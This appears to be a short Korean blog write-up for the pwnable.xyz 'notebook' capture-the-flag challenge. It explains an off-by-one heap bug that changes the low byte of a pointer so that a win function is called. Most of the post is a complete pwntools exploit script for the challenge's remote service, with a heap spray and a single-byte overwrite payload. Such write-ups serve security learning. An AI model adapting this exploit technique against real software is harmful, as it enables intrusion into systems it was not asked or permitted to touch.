pwn/pwnable.xyz

pwnable.xyz / notebook

lok2h4rd 2022. 5. 25. 13:46

mitigation

off by one이 터져서 할당된 힙의 하위 1byte를 변조해서 원하는 함수가 호출되도록 할 수 있다

로컬이랑 리모트 환경이 달라서 그냥 힙에다가 win함수 뿌려놓고 대충 조건 맞춰줬다

 

from pwn import * 

p = remote("svc.pwnable.xyz", 30035)
#p = process("./notebook", env= {"LD_PRELOAD" : "./alpin-libc-2.24.so "})
#gdb.attach(p)

def make(size, title, note):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"size: ")
    p.sendline(str(size))
    p.recvuntil(b"Title: ")
    p.sendline(title)
    p.recvuntil(b"Note: ")
    p.send(note)

def edit(note):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"note: ")
    p.send(note)

def rename_notebook(name):
    p.recvuntil(b"> ")
    p.sendline(b"4")
    p.recvuntil(b"name: ")
    p.send(name)


free_got = 0x602018
win = 0x40092c

p.recvuntil(b"notebook: ")
p.sendline(b"AAA")

payload = p64(win) * 64
make(0x200, b"AAA",  payload)

payload = b"A" * 127
payload += b"\xf0" 
rename_notebook(payload)

p.recvuntil(b"> ")
p.sendline(b"2")

p.interactive()